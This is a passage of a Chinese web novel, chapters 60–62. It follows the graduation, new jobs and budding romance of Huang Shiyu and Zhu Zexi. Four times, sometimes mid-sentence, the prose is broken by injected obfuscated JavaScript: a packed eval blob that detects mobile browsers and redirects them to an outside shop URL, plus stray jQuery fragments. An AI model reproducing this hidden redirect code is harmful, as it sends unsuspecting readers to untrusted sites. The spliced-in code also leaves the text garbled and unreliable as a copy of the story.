“策展人”这个职业黄时雨在大学阶段接触得不多,好在公司里的同事们都很热心,团队氛围也很好,黄时雨感觉这一年的实习收获颇丰。 “黄时雨,你是不是毕业后可以直接入职啊?” 说这话的人是许灵均,一个胖胖的、特别天真可爱的女生,比黄时雨早入职一年,也是黄时雨在公司里关系最好的朋友。 “不知道,我前两天刚提交了材料,也不知道能不能转正,”黄时雨朝许灵均做了一个哭唧唧的表情,许灵均立刻上前搂住她的肩膀。 “相信自己,你可以的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928534|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 果然这句话就是一个好兆头,在黄时雨准备回学校进行毕业答辩的前一天,转正通知正式下发到了黄时雨的邮箱。 黄时雨首先把这个好消息发给了爸爸妈妈和“一中小分队”的群里。 “你什么时候回来上班啊,”许灵均看到这条转正通知也坐不住了,冲黄时雨挑挑眉,“正、式、员、工~” 黄时雨背起包,比划了一个数字“1”,“下周星期一就回来,别太想我哦!” 黄时雨去办公室跟导师打了个招呼,才心安理得地去找吴笙笙吃饭。 两个人又约在了大一吃过好几次的火锅店里。 “恭喜你哦,苗苗,”吴笙笙夹起一片毛肚,以毛肚代酒,“成功转正!” 黄时雨赶紧用毛肚跟吴笙笙的轻轻碰了碰,“不不不,是恭喜我们两个,恭喜吴笙笙同学直博成功!” 吴笙笙愣住了,随即无奈地笑,“这都好几个月前的事情了好吧。” “好几个月前怎么了,之前咱们不在一个地方实习,没有庆祝的嘛,”黄时雨又吃了几筷子,突然反应过来,“那你岂不是还有暑假?!” “of course!” 不夸张,当时吴笙笙得意的表情黄时雨能记一辈子。 “那你之后,就打算留在津南工作了?” 黄时雨喝了一口水,“暂时是这样,我那个工作蛮好的,而且我爸妈也同意了。” “那很好啊,”吴笙笙赞同地点点头。 吃完火锅,两个人本来打算在校园里随便逛逛,奈何吴笙笙的导师打电话催他回去开一个线上会议,两人只走到学校门口就分道扬镳了。 黄时雨独自一人慢慢往宿舍走,脚步却显得有些依依不舍,曾经看了无数遍的校园,此刻竟然感觉怎么看都看不够。 操场、跑道、湖面、礼堂……好像变了许多,却又好像跟大一时如出一辙。 路上偶尔经过几个学生,背着书包从教学楼里疲惫地走出来,黄时雨仿佛看到了曾经为了冲刺期末考试而拼命奋战的自己。 黄时雨的挎包里突然传来震动,一看是祝则溪的电话,“喂,祝则溪?” “黄……苗苗,你们是下周二拍毕业照是吗?” “对,怎么了吗?” 电话那头突然安静了几秒,黄时雨以为断线了,小声叫了一声祝则溪的名字。 “那……我可以来参加吗?” 黄时雨轻笑了一声,给予了祝则溪一个非常肯定的答复,“当然可以!” “……好,”祝则溪飞快切换到购票界面,找到星期二早上最早的一班高铁,选座、购票一气呵成。 躺在宿舍床上的祝则溪看到“购票成功”的通知激动地一翻身,给躺在下铺的室友震得吓了一跳。 “噢对不起对不起,不好意思。” 室友本来也还没睡着,看到祝则溪一脸兴奋地跟自己道歉,忍不住好奇,“你这一脸开心的样子是怎么回事啊?” “有吗,”祝则溪急忙进行了表情管理,又躺回去,“没什么,就是有一件值得期待的事罢了。” 室友并不善罢甘休,非要刨根问底,“什么期待的事啊,你去津南那个美术工作室面试?” 从大三开始,祝则溪就一直在密切关注着津南当地的美术工作室,从种种迹象来看,黄时雨应该会留在津南,所以自己也一定要飞奔而去。 不管以什么样的身份,只要能留在黄时雨身边,就是祝则溪最大的心愿了。 “面试不是期待,是紧张,”祝则溪把被子裹到身上,把床帘紧紧拉好,翻了个身准备睡觉,“睡了,明天还有明天的事呢。” 60. 第六十次招惹 “喂,什么事?” 祝则溪正忙着在宿舍整理画稿的时候,看到了那个最不想看到的“资助人”打来的电话。 这个已经许多年没有接通过的电话,偏偏在这个时候打来,想必带来的不会是什么好消息。 “你是要毕业了吧,爸爸说问问你……” 祝则溪放下手上的材料,为了不影响室友,拿起手机一个人走到宿舍阳台,直接打断了胡正福的假惺惺,“不需要你问我,而且你只是胡则泉一个人的爸爸而已,跟我无关。” 祝则溪冷静得像显不出一丝波动的湖面,胡正福竟也一时语塞。 他大概也没想到,自己一直以来不愿意承认的儿子,竟然也能靠自己的力量完成全部学业,成为能独当一面的大人。 听到对面叹了口气,祝则溪清了清嗓子,掷地有声地吐出几个字,“你要知道,我不欠你的,从来都是。” 很平静、很自然,像是在心里积压了很多年的浊气突然呼了出来,胡正福明显还想说什么,但祝则溪已经没有耐心听了。 无论是关心也好,诉苦也罢,这些迟来的东西,祝则溪早就不在乎了。 收拾好面试要用的画稿,祝则溪把它们整整齐齐订在一起,成为自己面试的作品集。 星期一是新申美术学院的毕业典礼,祝则溪被同学们拉着合照,一向不怎么喜欢拍照的人几乎出现在了每一位同学的照片中,他笑起来眉眼弯弯的,还是和高中时期那个干净明朗的少年一模一样。 合影结束后,祝则溪终于拿出自己的手机,快速拍了一张自拍照,有点不好意思被别人看到。 “小祝同学,毕业快乐,有没有照片给我看看呀?” 黄时雨这条消息来得很及时,祝则溪立刻点开新鲜出炉的自拍照,反复检查了好几遍,确认角度、光线、构图都没问题后,才发给黄时雨。 不到五秒钟,对面的夸赞就传了过来,“很帅诶,恭喜你成为大大人啦,开心吗?” 祝则溪的嘴角没来由地疯狂上扬,在对话框里打下三个字,“很开心。” 祝则溪把这简单的几句话又来回看了好几遍,才依依不舍地揣回兜里,然后朝已经喊了自己好几遍名字的室友们跑去,抓住这很有可能是最后一次的合影机会。 “黄时雨,你约的那个学妹明天几点来宿舍啊?” 方禾茹一句话把黄时雨从手机的世界里叫醒,“啊,我跟那个学妹说的是七点,我们四个人一起弄的话两个小时应该足够了,反正只包化妆嘛。” “那得好早就起床收拾啊,我起不来怎么办,”何妙妙已经开始叫苦了。 “就一天而已,大不了你今晚八点就睡嘛,”许丹白了何妙妙一眼,无奈摇头,“啧,娇气。” 一切都按计划进行,四个人提前半小时起床洗漱护肤,坐在椅子上乖乖等待拎着满满一大包化妆品的学妹来上妆。 除了黄时雨之外的宿舍其他人都随着学院方队进入体育馆,今天的体育馆跟平时的装扮很不一样,正中央搭建着正红色的毕业典礼颁奖台,左侧是发言席位,偏右侧是整整三排校领导的座位,身后的LED大屏上滚动播放着老师们写给毕业生们的祝福语,整个活动现场庄严而郑重,也算是学校给予全体毕业生们最后的礼物。 四年前进入这里还是大一新生,现在转眼之间就变成了即将离校的大四毕业生了,黄时雨对此只想感叹一句:时间真的太快了。 “苗苗,我到校门口了,怎么进来?” 黄时雨看到祝则溪的消息,放下镜子回复,“扫脸就行,我已经预约好了,我在礼堂里面有点不方便出来接你,不好意思啊。” “没事,我进来了。” 黄时雨作为优秀毕业生,并没有和学院的同学们站在一起,而是提前被安排到了舞台侧台,等待上台得到校长的亲自拨穗。 “我看到你了,优秀毕业生!” 看到消息,黄时雨立刻回头,一眼就看到了隔着人群站在观礼台第一排的祝则溪。 她兴奋地在眼前比了一个“耶”,祝则溪立刻心领神会,掏出手机记录下这值得纪念的一刻。 画面中,正好有一束灯光洒在黄时雨身上,在灿烂的灯光照耀下,有一张永不衰败的笑脸。 等进入拨穗时间时,礼堂内已经可以自由活动了。 祝则溪从看台上下来,绕来绕去绕到了官方摄影师旁边。 一个一个优秀毕业生鱼贯而入,轮流跟校长握手,被校长拨穗,与校长合影。 祝则溪站在摄影师身边蓄势待发,但他和摄影师不同,毕竟他的目标只有一个。 看到黄时雨的前一个人上台,祝则溪就打开手机开始录像。这一次,他要完完整整记录下黄时雨的毕业全过程,任何遗憾都不要留下。 看着黄时雨快步走上舞台,跟校长握手和拥抱,祝则溪从来没有这么渴望再多出两只眼睛过,因为现实里和镜头中的每一帧祝则溪都想要实时记录。 转身准备和校长合影时,黄时雨看到祝则溪的那一刻微微一愣。 黄时雨偏头跟校长小声耳语了一句什么,并指了一下祝则溪的位置,两个人的身体就都往祝则溪的方向微微倾斜,目光柔和地注视着他的镜头。 祝则溪心里瞬间泛起一阵感动,他找好角度,连续拍了好几张才停下,比了一个“OK”向台上两位示意。 “谢谢校长!” 黄时雨朝校长深深鞠了一个躬。 “祝你前程似锦!” 校长扶起黄时雨,眼底满是殷切的期盼与祝福。 黄时雨从舞台另一侧下来,看到祝则溪也已经收起手机往这边走,她赶紧飞奔过去。 还没等黄时雨说出第一句话,她就感觉自己突然脑袋一冷,一摸头,果然空空如也。 “慢点,帽子掉了。” “啊?” 祝则溪笑着摇头,走过去捡起已经掉到地上的学士帽,轻轻抖掉灰尘。 “哦,谢谢,”黄时雨转身想从祝则溪手中把帽子拿过来,却看到他已经把帽子比划到自己头上了。 祝则溪取下帽子上的一字夹,调整好帽子角度,一个一个穿到黄时雨的头发里夹住。 他的手法很轻柔,黄时雨甚至感觉不到有任何拉扯。 “嗯,好了,”祝则溪最后轻微整理了一下帽子的形状,退开几步远远欣赏了一番。 黄时雨一眼就注意到祝则溪发红的耳尖。 黄时雨拿出手机,看了一眼周围摩肩接踵的人群,拉起祝则溪的手腕跑到人比较少的礼堂角落。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942877|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝则溪,我们一起合影吧,可以吗?” 祝则溪答应得很爽快,二话不说就靠到黄时雨身边,准确来说是黄时雨的斜后面,“当然可以啦!” “我来拿手机吧。” 黄时雨看到祝则溪镜头里的自己,刚想抬手整理一下有点乱掉的刘海,胳膊却不小心撞到了祝则溪的下巴,两人立刻像触电般分开了半米的距离。 黄时雨还没来得及说出那句“不好意思”,祝则溪就立刻摇头,“没事儿,不疼。” 黄时雨向祝则溪报以一个歉意的微笑,但总感觉这个气氛有种说不上来的诡异感。 或者换句话来说是,暧昧感? “那就好,要不……我们找别人帮忙吧?” 黄时雨随机拦下一位路过的同学,“你好,请问可以帮我们俩拍张照吗?” 同学看了一眼两人,二话不说就答应下来,“可以。” 黄时雨站到祝则溪身边,有了刚才的经验,两个人之间隔着一段微妙的距离,既不显得生疏,也不过于亲近。 “你们站近一点吧,不然拍出来不好看,”同学看着取景框,打手势示意两个人走近一些。 黄时雨和祝则溪挪动脚步,一点一点靠近。 “很好,两个人都笑一笑哦!” 黄时雨盯着镜头,露出自己的招牌笑容。祝则溪看到黄时雨的笑脸后,也忍不住笑起来。 看到照片的那一刻,黄时雨一眼就注意到了祝则溪灿烂的笑容—— “祝则溪,其实你笑起来很好看的,你有没有发现啊?” 祝则溪正目不转睛地盯着黄时雨看,被她这突如其来的一句话打得措手不及,“嗯……确实是第一次发现。” 黄时雨把照片发给祝则溪之后,有些无奈地笑出来,“真的吗,那你平时都发现些什么啊?” 祝则溪突然勾起嘴角,低头小声说,“发现你很漂亮。” “你说什么?” 祝则溪这句话的声音实在太小了,黄时雨一个字都没听到。 “没什么,”祝则溪立刻摇摇头,郑重且认真地看着黄时雨的眼睛,“我想说,毕业快乐,苗苗!” “嗯,你也是,”黄时雨正说着突然被一道闪光灯闪过,转头就看到吴笙笙毫不避人的偷怕,被黄时雨眼神警告后甚至还得意地扬起手机。 “吴笙笙,站住,”黄时雨眯起眼睛,在后面追赶那个“偷拍小贼”吴笙笙。 吴笙笙边跑边大声调侃,“我就要拍,不可以嘛!” 看着两个人一起跑远,祝则溪站在原地,打算把刚刚拍下来的合影发到朋友圈里。 配什么文案呢? 看到黄时雨越跑越远,慢慢消失在自己的视线中,祝则溪的思绪忽然飘回到高中毕业那天,那天他正站在别处,只是黄时雨毕业时刻的旁观者,而这一次,他拥有了和黄时雨实时共享同一份喜悦的权利。对此,他很荣幸。 祝则溪在文案框里写下一句话——“一张迟到了好几年的照片”。 时隔八年,祝则溪的朋友圈再次更新。 在点击发送的那一刻,祝则溪突然又犹豫了,说不出来是什么原因,他总觉得这句话不是很恰当的。 他果断删掉了这句话,换成了更简洁的三个字,“赶上了”。 61. 第六十一次招惹 祝则溪这次一共投了两家工作室,一家在津南大学附近,另一家在黄时雨的工作单位附近。 虽然祝则溪的毕业院校很好,学校老师对自己作品集的评价也很高,但职场和校园毕竟是两个不同的领域,祝则溪的心里还是有点七上八下。 两场面试分别安排在相邻的两天,祝则溪暂时就住在津南大学附近的一家酒店里。 第一家美术工作室是学校老师推荐的,说是环境和待遇都很好,交流和学习的机会也比较多,也是祝则溪最渴望进入的工作单位。 这一点,在祝则溪踏上工作室的大门时就感觉到了。 走廊里摆放着很多临摹展品,墙上也挂着很多精美的艺术作品,祝则溪穿过走廊一直走到尽头,跟前台确认了一下面试安排后,按照签到顺序,排在了面试队伍的最后面。 平均一个人的面试时间大概是十五分钟,祝则溪的心脏也随着面试的临近开始猛烈跳动。 等到上一位面试结束,祝则溪拿好自己提前准备好的面试材料推门进入。 祝则溪把简历和作品集递过去,眼神一直追随着面试官翻动的手指,试图从翻阅的轻重缓急来判断自己面试成功的概率高低。 “挺好的,说说这些作品里你自己最满意哪一幅吧,原因是什么?” 祝则溪指着作品集里的第一张画,“我最满意这一张,是我大一下学期的时候画的……” 这张画,是祝则溪在得知黄时雨没有对象之后那天晚上连夜赶工画出来的,他急切地想要记录那一刻,那个误会消除、重新拥有机会的时刻! 面试官满意地点点头,又问了祝则溪几个专业方面的问题。 “好了,之后我们会在三到五个工作日内给你答复,去吧,”面试官微微一笑,示意今天的面试到此为止。 “好的,谢谢,”祝则溪起身离开。 从工作室出来时,他并没有对这场面试究竟是成功还是失败的明确判断,只知道自己已经尽全力了,所以不论是什么结果,自己应该都能接受。 祝则溪顾不得休息,回到酒店就开始复盘刚刚的面试表现,为第二天的面试做准备。 “黄时雨,开会了,”组长经过黄时雨的工位时,轻轻敲了一下她的桌面。 黄时雨立马从混乱的工作桌面中抬头,“哦好的,马上来!” 黄时雨跟许灵均对视一眼,两人一起从工位上站起来,推门进入会议室后坐到了一起。 这次的会议开了快两个小时,黄时雨期间不停地眨眼睛,想要努力忍住打瞌睡的冲动。 “这个时间也太紧了吧,下个星期就要布展,开玩笑吧,”许灵均跟在黄时雨身后从会议室出来,一路抱怨到了工位。 黄时雨无奈摇头,“我也觉得很棘手,这下不得天天加班啊!” 坐在工位上,负责此次展会活动的成员一刻不得闲,打开电脑就开始忙碌。 黄时雨期间只从工位上离开了两次,一次是去卫生间,一次是去取外卖。 一组人一直加班到晚上九点半,才陆陆续续关掉电脑离开。 “明天见!” “好好休息!” 黄时雨跟同事们在公司楼下道别后,独自一人慢慢往出租屋走。 这一片区域几乎都是高楼大厦,许多窗户里还亮着灯,每一盏灯都代表着一个还在职场拼搏的人。街道上来来往往的人都行色匆匆,步履不停,大家都在为美好的前程和未来努力打拼,却似乎忘记了留心身边单纯美好的生活碎片。 回到家,黄时雨的手机忽然有电话打过来—— “苗苗,第一天正式上班感觉怎么样啊,辛不辛苦?” 黄时雨按了个免提,边换鞋边用疲惫的声音回答,“妈妈,我们今天安排了一个任务,下周就要完成,时间太紧了,所以这一周肯定天天都要加班。” “这么忙啊,”黄爸爸在电话那头心疼地叹气,“爸爸妈妈也帮不上你什么忙,也不懂你那些工作上的事,但唯一给你提的要求就是,一定要好好吃饭,听到没有?” “那肯定啊,不然我放假回来你肯定又要说我瘦了,”黄时雨两腿一蹬往床上一躺,整个声音都被蒙在暖融融的被子里,有点听不真切。 “对了,要是工资不够用,要立刻跟我们说,我们每个月还是给你拿生活费,毕竟刚进入职场,要用钱的地方还多着呢。” 黄时雨从被子里抬起头,眼睛里闪出泪花。果然,一个不管平时再怎么坚强的人,在听到家里爸爸妈妈的关心时,还是会忍不住想哭。 她努力控制住自己的声音不想让爸爸妈妈察觉,“好,那我先洗漱了,下次再说!” 黄时雨匆忙挂掉电话,用手指轻轻抚过眼角。 她也不知道自己到底怎么了,明明可以自己抗住的压力,怎么一听到父母的关心就溃不成军了? 黄时雨从床上坐起来,打开了一整天都没看过微信,然后点开朋友圈发了一条新的内容—— “最近很忙,勿扰,”并设置了一个“仅祝则溪不可见”。 发送完毕,黄时雨简单洗漱完成后就趴到床上沉沉睡去。 第二天起床,这条朋友圈没有被任何人点赞或评论,黄时雨非常满意。 一连几天,天天如此,黄时雨一直早出晚归,简直比大学备战期末月还要可怕一百倍,生活几乎都被工作填满了,黄时雨连跟朋友们聊天吐槽的机会都少了很多,甚至连晚上睡觉有时都会梦到工作上的事。 也不知道祝则溪的面试情况怎么样了,黄时雨只知道他最近在面试,其他的具体情况还不了解。 要不晚上回去问问他吧,黄时雨在心里默默记下。 “喂,您好,”正坐在酒店床边翻看租房信息的祝则溪猛得站起来,语气里是掩饰不住的激动,“请问我的面试结果是出来了吗?” 对面传来的是一句冷淡的回复,“不好意思,你本次的面试未通过,抱歉。” 祝则溪刚想问具体原因,连下一句话都还没来得及说出口,电话里就传来了“嘟”的挂断声。 祝则溪就这样直挺挺地站着,看着已经熄屏的手机屏幕久久回不过神。 早该猜到第一家工作室会是这样的结果了,祝则溪努力苦笑着安慰自己。 那再等等第二家的面试结果吧,这是当下能想到的唯一的办法了。 祝则溪甚至没有心情下楼吃晚饭,从下午一直等到晚上,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951554|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至夜幕降临,祝则溪都迟迟没有收到第二家美术工作室的面试结果。 他的心情像太阳一样一点一点落下去。 他把手机铃声调到最大,几乎到了每隔五分钟就要专门看一眼是否有未接来电的程度。 手机一直沉默着,祝则溪也是。 一直等到晚上十二点,黑夜吞噬了整座城市,祝则溪也没能等到那个梦寐以求的电话响起。 他从沙发上站起来,长叹一口气,打开手机疯狂找寻黄时雨的名字,却在拨号界面停留了很久很久。 因为他印象很深,黄时雨最新一条朋友圈写着,“最近很忙,勿扰。” 不行,不能打扰她。 祝则溪的脑子一片空白,却突然拿起房卡鬼使神差地冲出门去。 ——他想吃脆脆鲨。 这个点的街道上已经没什么人了,祝则溪很快找到了一辆小黄车,扫码后开始沿着马路在凌晨的街道上快速骑行。 夜里的风带着丝丝凉意,夜幕下的城市跟白天的喧闹相比别有一番风味,可祝则溪此时却没有心情顾及这些,他的眼睛不断扫过路边的商铺,想要快点找到一家便利店,快点吃到现在唯一能抚慰祝则溪内心的脆脆鲨。 “你好,请问有脆脆鲨吗,巧克力味的?” 祝则溪进店时还在喘着气。 “有,最里面那一排,”祝则溪顺着便利店店员手指的方向走过去,确认好口味后立刻结账。 “好,谢谢。” 祝则溪在门口快速撕开包装,吃下去的第一口竟然没感觉出什么味道—— 淡淡的,多吃几口甚至还能吃出苦味。 这和之前吃的味道怎么不一样,难道不正宗吗? 祝则溪管不了那么多,继续骑上车,急匆匆地赶往下一家便利店。 在每一家便利店,祝则溪都重复着同样的话,买到的都是同一个包装的脆脆鲨,吃起来都是一样的平淡无味。 他骑了十多条街,跑了二十几家便利店,可每次拆开包装咬下去的时候,总感觉味道不对——太甜,或者不够脆,或者巧克力涂层太薄。 总之,全都不是记忆里的味道。 最后一家店的收银员打着哈欠问祝则溪,“帅哥,这些口味都是一样的,你不用选来选去的,你是在找什么吗?” 他的额头因为疯狂骑车而浸出汗珠,汗水把额前的刘海也打湿了。 祝则溪苦笑着摇头,手上挑选的动作也跟着停下,“没什么。” 祝则溪拖着身子走出便利店,靠在车边,眼睛逐渐有些失神,他只是像木头人一样麻木地吃着买来的脆脆鲨,却一点都尝不出其中的味道。 夜风吹过空荡的街道,他的手机突然传来消息提示音—— “小祝同学,你的面试怎么样啦?” 祝则溪握着手机的手指微微颤抖,他深吸一口气,努力克制住自己翻涌不止的情绪。 他不想让黄时雨担心,也不想让自己的事情影响她正常的工作和生活。 祝则溪就着有些朦胧的视线在对话框里打下几个字,“应该有希望。” “你的工作还顺利吗?” 对面回复得很快,“一切顺利。” 62. 第六十二次招惹 一阵急促的电话铃声响起,把直到早上才进入浅层次睡眠的祝则溪给吵醒了。 祝则溪几乎一整晚都没睡着,对自己能力的怀疑和对前途的担忧占据着他的整个脑海。 祝则溪闭着眼,翻身把床头的手机拿过来,上面赫然显示着第二家美术工作室的电话号码! 他浑身一激灵,立刻从床上坐起来,接通电话时的声带一度十分紧绷——“喂,您好。” “您好,祝则溪先生,恭喜您通过了本次面试,请于下周周一到工作室报到,请问您这边还有什么疑问吗?” 祝则溪的脑子突然像炸开了烟花,竟然有一种分不清是现实还是梦境的幻觉。 “我……我没有了,谢谢。” 挂掉电话之后,祝则溪才后知后觉地反应过来,这是面试成功的标志,也是自己的美术事业成功起步的标志! 他激动得在房间里跑了好几圈,心跳恢复正常后才坐到床边,第一件事就是把工作室的地址发给黄时雨。 不到五分钟,对面就发来了回复——“这是什么?” 祝则溪回复:我的工作单位。 黄时雨立马发来了一条长达20s的微信语音,“天呐,恭喜恭喜,你这也太厉害了吧,哦对了,你什么时候去上班,我这个项目结束了就给你好好庆祝一下!” 祝则溪看着聊天框里的消息,竟然不由自主地笑出了声,他很快也跟着回复了一条语音过去,“下周一就去报到了,你有空了就联系我吧。” 说是下周一,实际上就只间隔几天,祝则溪这几天一直忙着找房子、搬家、收拾屋子,直到星期日下午才终于收拾妥当,留出空闲时间。 “祝则溪,我这个项目都弄好了,你懂我意思吧?” 祝则溪轻轻勾起嘴角,手上快速打字,“当然,你想吃什么?” 祝则溪一边跟黄时雨聊微信,一边急匆匆地换好衣服坐电梯下楼。 没过多久,黄时雨那边就发来一张照片和一个定位,图片里是一家串串店,“我已经到啦,就等你了!” 祝则溪的新家离黄时雨住的地方就几分钟的路程,甚至在阳台上还能隔着街道看到黄时雨那一层的灯光。 这家串串店就在黄时雨公司旁边的商场一层,祝则溪推门进去时,黄时雨正拿着手机在忙着回复组长消息。 “苗苗,”祝则溪自然地在黄时雨对面坐下,正好对上黄时雨抬眼的瞬间。 祝则溪的眼睛忽然睁大,盯着黄时雨的脸看了好一会儿,才意识到自己的目光有多明显。 他立马转过视线,指着自己的眼皮小声说,“你这个眼影好漂亮,颜色很好看。” 黄时雨听到后立马疯狂点头,身子往前离祝则溪更近了一些,“是不是很漂亮,这可是我新买的眼影盘,我就知道你肯定能懂我!” 看到黄时雨被人夸赞后手舞足蹈的样子,祝则溪只能忍笑着点点头,“嗯。” 毕竟是周末,还是暑假,店里小孩非常多,整个大厅里永远不断有小朋友跑来跑去的,活力满满,好像总有使不完的劲儿。 黄时雨和祝则溪不得不加大说话的音量。 “苗苗,我可能需要一个艺名,”祝则溪把新盘子里的串串下锅,然后用筷子把串串全部分散开,“你有什么建议吗?” “艺名啊,我想想,”黄时雨的语文功底一向不错,高中时就常年是单科第一,只不过取艺名这种事,确实还是头一次遇到。 “你想要什么类型的呢? 祝则溪短暂思考了一下,随即回答,“植物类型的。” 毕竟植物需要阳光,祝则溪也需要。 黄时雨绞尽脑汁,把自己读过的诗词歌赋都过了一遍,却依然没有找到合适的、符合祝则溪的身份和个性的艺名。 “想不到诶,要不之后你问问你的同事们,看看有什么建议?” “没事,如果没有合适的艺名的话,就用我的真名也没关系。” 从餐厅走出来已经快到八点半了,整座城市依然浸泡在溽热的余温中,黄时雨和祝则溪就这样并肩吹着晚风,走在回家的路上,跟朋友待在一起,好像突然就有了一种可以不用硬撑着当大人的快乐。 黄时雨披在肩上的长发随风飘起,有一下没一下地拂过祝则溪的肩膀,像是在进行一场友好的交谈。 “喂,妈妈,”黄时雨接通来自妈妈的电话,语气变得轻快又雀跃。 “在干嘛呢,苗苗?” “在外面吃饭刚结束,”对面电视的声音顺着听筒传过来,里面好像是偶像剧里常见的浪漫表白场面,黄时雨无奈地吐槽,“妈妈,你怎么又在看偶像剧啊?” “你妈妈我就不能看偶像剧了吗,我跟你说这里面男女主可甜了,上一集刚刚捅破关系,这一集就表白在一起了……” 黄时雨此刻无比后悔提了这一茬,妈妈还在那边絮絮叨叨,黄时雨这边默默开始慢慢把手机拿远,已经有想挂电话的冲动了。 “哦对了,你现在跟谁在一起呢?” 黄时雨看了一眼祝则溪,“我跟祝则溪在一起。” 突然意识到这句话有歧义,黄时雨立马纠正,“咳,跟祝则溪在一起吃饭。” “哦,那你们吃完早点回去啊,毕竟明天还要上班,”黄时雨看到站在不远处路灯下的祝则溪的嘴角好像抽动了一下,但很快又恢复常态。 黄时雨和祝则溪的家在同一条街,两个紧邻的小区。 这也是今天这顿饭之后,黄时雨才知道的这个令人惊讶的事实,毕竟津南那么大,谁能想到两人竟然如此有缘呢? “我到了,”黄时雨的小区先到,她站在小区门口,脚步却并不急着迈进去。 祝则溪也随之停下来,笑盈盈地看着黄时雨,抬了抬下巴,“进去吧,时间不早了。” 黄时雨点点头,脚步往小区门口挪了一步,挥挥手,“那……拜拜咯?” 祝则溪也模仿黄时雨的动作往后退了一步,然后挥挥手,两人之间的距离瞬间隔出好几米,“嗯,拜拜!” “你又学我!” “哦不好意思,”祝则溪低头笑了笑,“我只是想借鉴一下。” 回到家,黄时雨并没有直奔浴室,而是少见地走到了客厅阳台,由于房子的楼层比较高,黄时雨几乎可以俯瞰到周围的所有风景。 街道上的霓虹灯连接成片,像游龙一样延伸到城市尽头,这还是黄时雨第一次站在阳台上观察芸芸众生的来来往往。 每一个人都只是这个世界运转的小小螺丝,但也都有着举足轻重的意义。 黄时雨低头看了一眼时间,又过去了十五分钟,祝则溪现在应该已经到家了吧? 黄时雨转过身,坐到沙发上,打开电视播放了一个已经看过很多很多遍的电视剧,拿起薯片又开始了N刷之路。 也许这就是怀旧之人的独特之处,哪怕已经熟悉到可以毫不犹豫地说出下一句台词,再看时也依然能看得津津有味。 刚看了不到十分钟,放在一旁的手机就不合时宜地响起来,黄时雨拿起来一看,这大晚上来的居然还是工作电话。 黄时雨的心情瞬间跌进谷底。 “喂,组长?” 组长那头是压不住的兴奋,“黄时雨,我们的方案过了,你看到群里消息了吗,这一周的努力总算没有白费!” “什么?!” “真的吗,”黄时雨激动地大喊一声后,努力恢复平静,“那岂不是很快就可以开始布展了?” 组长没有明说,只留下了神秘的三个字——“等、通、知”,然后就匆匆挂掉了电话。 虽然明天是周一,但公司破天荒地给小组的所有成员放了一天假,黄时雨疲惫地躺到床上,胡乱看了一会儿手机,就沉沉地睡过去了。 一直到第二天中午才醒。 黄时雨伸手摸到手机,里面许灵均的消息多得都快要爆炸了—— “今天下午来我家玩呗,我爸准备弄烤肉。” “晚上就在我家吃饭,吃完我送你回去!” “怎么不回消息,不会还在睡觉吧?” “都快十二点了,该起床了吧?” …… 黄时雨揉了揉眼睛,尴尬地看着从九点到十二点的一大片消息,选出其中真正有效的信息回复,“我刚刚醒了,你说的是你的哪个家?” 许灵均是津南本地人,平时就住在公司附近的单人小屋里,有空的时候就回父母的大房子里生活,上班经常会带着各种好吃的来公司分给其他同事,这一点黄时雨很是羡慕。 “当然是我爸妈这里,我爸现在正在院子里烤肉,就等你啦!” 黄时雨立刻从床上坐起来,快速打字回复,“好,那我收拾收拾就来。” 说干就干,黄时雨在衣柜里找出一件漂亮的长裙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964542|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿出为了上班新置备的一套化妆品,画了一个美美的妆,就坐上地铁奔赴这场烤肉之旅。 许灵均父母家在靠近郊区的地方有一栋小别墅,上下两层,黄时雨曾经在许灵均的手机相册里看到过,棕色和黄色相间,看起来很有格调。 黄时雨按照许灵均发来的路线,顺利抵达了别墅门口,远远就看到许灵均和爸爸妈妈在门口跟自己招手。 “叔叔阿姨好,不好意思打扰你们了。” “没有没有,快进来坐,”许妈妈热情地拉着黄时雨的手,给她介绍今天下午的安排。 “小黄,下次来别买东西了啊,太重了,”许爸爸把黄时雨手上提着的水果篮接过去,三个人簇拥着把黄时雨带到屋子里。 